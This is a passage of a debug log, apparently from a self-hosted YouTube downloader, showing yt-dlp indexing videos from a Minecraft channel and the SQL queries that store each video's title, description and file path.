again in 1000ms 19:40:45.301 [debug] Current batch of media processed. Will check again in 1000ms 19:40:46.302 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Building the ULTIMATE Elemental Empire! 🔥 🌊 Can we evolve our secret powers and survive the war between Fire and Water?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1266, "filename" => "/downloads/rory/Milo and Chip/2026-05-01 Players Simulate Elemental Civilization in Minecraft/Players Simulate Elemental Civilization in Minecraft [v2BpJPC_GKc].mp4", "id" => "v2BpJPC_GKc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=v2BpJPC_GKc", "playlist_index" => 17, "timestamp" => 1777676466, "title" => "Players Simulate Elemental Civilization in Minecraft", "upload_date" => "20260501"} 19:40:46.303 [debug] QUERY OK source="sources" db=0.3ms idle=90.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:46.303 [debug] QUERY OK source="sources" db=0.3ms idle=24.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:46.305 [debug] QUERY OK source="media_items" db=1.3ms idle=25.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-01 23:01:06Z], 30] 19:40:46.306 [debug] QUERY OK source="media_items" db=0.9ms idle=26.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Building the ULTIMATE Elemental Empire! 🔥 🌊 Can we evolve our secret powers and survive the war between Fire and Water?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Players Simulate Elemental Civilization in Minecraft", "8fd5c35f-2423-4970-b7e9-edff80126c8d", "v2BpJPC_GKc", false, "https://www.youtube.com/watch?v=v2BpJPC_GKc", 30, [], 1266, false, 17, "/downloads/rory/Milo and Chip/2026-05-01 Players Simulate Elemental Civilization in Minecraft/Players Simulate Elemental Civilization in Minecraft [v2BpJPC_GKc].mp4", false, false, 98, ~U[2026-05-01 23:01:06Z], ~U[2026-06-02 23:40:46Z], ~U[2026-06-02 23:40:46Z], "Building the ULTIMATE Elemental Empire! 🔥 🌊 Can we evolve our secret powers and survive the war between Fire and Water?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Players Simulate Elemental Civilization in Minecraft", "v2BpJPC_GKc", "https://www.youtube.com/watch?v=v2BpJPC_GKc", 30, 1266, false, "/downloads/rory/Milo and Chip/2026-05-01 Players Simulate Elemental Civilization in Minecraft/Players Simulate Elemental Civilization in Minecraft [v2BpJPC_GKc].mp4", false, ~U[2026-05-01 23:01:06Z]] 19:40:46.306 [debug] QUERY OK source="sources" db=0.2ms idle=27.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:46.307 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:46.307 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [133649] 19:40:46.307 [debug] Current batch of media processed. Will check again in 1000ms 19:40:47.308 [debug] Current batch of media processed. Will check again in 1000ms 19:40:48.309 [debug] Current batch of media processed. Will check again in 1000ms 19:40:49.311 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I Caught My Friends on SPY CAMERAS! 📸 🤫 Can I pull off the ultimate sleepover pranks and find my stolen Golden Cookie?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 945, "filename" => "/downloads/rory/Milo and Chip/2026-04-29 Using CAMERAS to Prank My Friends Sleepover in Minecraft/Using CAMERAS to Prank My Friends Sleepover in Minecraft [1DuV4o4JX8c].mp4", "id" => "1DuV4o4JX8c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1DuV4o4JX8c", "playlist_index" => 18, "timestamp" => 1777503602, "title" => "Using CAMERAS to Prank My Friends Sleepover in Minecraft", "upload_date" => "20260429"} 19:40:49.312 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=1033.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:49.313 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1034.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:49.316 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=1035.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-29 23:00:02Z], 30] 19:40:49.317 [debug] QUERY OK source="media_items" db=0.6ms idle=1038.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Caught My Friends on SPY CAMERAS! 📸 🤫 Can I pull off the ultimate sleepover pranks and find my stolen Golden Cookie?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using CAMERAS to Prank My Friends Sleepover in Minecraft", "d8ac9b08-324b-44df-aecf-82b1d6e9a1ea", "1DuV4o4JX8c", false, "https://www.youtube.com/watch?v=1DuV4o4JX8c", 30, [], 945, false, 18, "/downloads/rory/Milo and Chip/2026-04-29 Using CAMERAS to Prank My Friends Sleepover in Minecraft/Using CAMERAS to Prank My Friends Sleepover in Minecraft [1DuV4o4JX8c].mp4", false, false, 98, ~U[2026-04-29 23:00:02Z], ~U[2026-06-02 23:40:49Z], ~U[2026-06-02 23:40:49Z], "I Caught My Friends on SPY CAMERAS! 📸 🤫 Can I pull off the ultimate sleepover pranks and find my stolen Golden Cookie?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using CAMERAS to Prank My Friends Sleepover in Minecraft", "1DuV4o4JX8c", "https://www.youtube.com/watch?v=1DuV4o4JX8c", 30, 945, false, "/downloads/rory/Milo and Chip/2026-04-29 Using CAMERAS to Prank My Friends Sleepover in Minecraft/Using CAMERAS to Prank My Friends Sleepover in Minecraft [1DuV4o4JX8c].mp4", false, ~U[2026-04-29 23:00:02Z]] 19:40:49.317 [debug] QUERY OK source="sources" db=0.2ms idle=101.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:49.318 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:49.318 [debug] QUERY OK source="media_items" db=0.1ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [133105] 19:40:49.318 [debug] Current batch of media processed. Will check again in 1000ms 19:40:50.319 [debug] Current batch of media processed. Will check again in 1000ms 19:40:51.321 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "POLICE vs MILITARY: Ultimate Base Defense! 👮 🎖️ Will our custom tanks and siren blasters be enough to stop the Mutant Creeper?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 908, "filename" => "/downloads/rory/Milo and Chip/2026-04-25 POLICE vs MILITARY: Survival Battle in Minecraft/POLICE vs MILITARY: Survival Battle in Minecraft [1To5x_fzNZs].mp4", "id" => "1To5x_fzNZs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1To5x_fzNZs", "playlist_index" => 19, "timestamp" => 1777158004, "title" => "POLICE vs MILITARY: Survival Battle in Minecraft", "upload_date" => "20260425"} 19:40:51.322 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=102.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:51.323 [debug] QUERY OK source="sources" db=0.5ms idle=44.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:51.326 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=44.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-25 23:00:04Z], 30] 19:40:51.327 [debug] QUERY OK source="media_items" db=0.6ms idle=47.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["POLICE vs MILITARY: Ultimate Base Defense! 👮 🎖️ Will our custom tanks and siren blasters be enough to stop the Mutant Creeper?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "POLICE vs MILITARY: Survival Battle in Minecraft", "9938cb96-950a-4a68-b70a-7cfc199e3fdf", "1To5x_fzNZs", false, "https://www.youtube.com/watch?v=1To5x_fzNZs", 30, [], 908, false, 19, "/downloads/rory/Milo and Chip/2026-04-25 POLICE vs MILITARY: Survival Battle in Minecraft/POLICE vs MILITARY: Survival Battle in Minecraft [1To5x_fzNZs].mp4", false, false, 98, ~U[2026-04-25 23:00:04Z], ~U[2026-06-02 23:40:51Z], ~U[2026-06-02 23:40:51Z], "POLICE vs MILITARY: Ultimate Base Defense! 👮 🎖️ Will our custom tanks and siren blasters be enough to stop the Mutant Creeper?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "POLICE vs MILITARY: Survival Battle in Minecraft", "1To5x_fzNZs", "https://www.youtube.com/watch?v=1To5x_fzNZs", 30, 908, false, "/downloads/rory/Milo and Chip/2026-04-25 POLICE vs MILITARY: Survival Battle in Minecraft/POLICE vs MILITARY: Survival Battle in Minecraft [1To5x_fzNZs].mp4", false, ~U[2026-04-25 23:00:04Z]] 19:40:51.327 [debug] QUERY OK source="sources" db=0.1ms idle=48.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:51.327 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:51.328 [debug] QUERY OK source="media_items" db=0.1ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [132026] 19:40:51.328 [debug] Current batch of media processed. Will check again in 1000ms 19:40:52.328 [debug] Current batch of media processed. Will check again in 1000ms 19:40:53.330 [debug] Current batch of media processed. Will check again in 1000ms 19:40:54.331 [debug] Current batch of media processed. Will check again in 1000ms 19:40:54.535 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@miloandchip --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/Milo and Chip/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/9f/53/9f53d4ed4b1b62710275d58fb97ac68c8bfdc50514672831a0df414aa5c2b6b1.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/fb/6d/fb6d2dddceac77cd540576ada8df305681e65ae32449e94e2e7f520d3a1db481.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 19:40:54.535 [debug] Gracefully stopping file follower 19:40:54.535 [debug] QUERY OK source="sources" db=0.2ms idle=1257.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:54.536 [debug] QUERY OK source="sources" db=0.2ms idle=1257.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.537 [debug] QUERY OK source="media_items" db=1.2ms idle=1257.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 23:00:07Z], 30] 19:40:54.538 [debug] QUERY OK source="media_items" db=0.8ms idle=1259.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Protecting Our Families from a GIANT Penguin in Minecraft! 🐧❄️ Can Chip's fortified base survive a monster-sized GUGU GAGA attack at midnight, or will Milo's Berry Wall of Greatness save the day first?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family", "d6c565d2-107f-4dca-9dce-431699f52d59", "HlTfxG007JI", false, "https://www.youtube.com/watch?v=HlTfxG007JI", 30, [], 1776, false, 1, "/downloads/rory/Milo and Chip/2026-06-01 NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family/NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family [HlTfxG007JI].mp4", false, false, 98, ~U[2026-06-01 23:00:07Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "Protecting Our Families from a GIANT Penguin in Minecraft! 🐧❄️ Can Chip's fortified base survive a monster-sized GUGU GAGA attack at midnight, or will Milo's Berry Wall of Greatness save the day first?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family", "HlTfxG007JI", "https://www.youtube.com/watch?v=HlTfxG007JI", 30, 1776, false, "/downloads/rory/Milo and Chip/2026-06-01 NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family/NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family 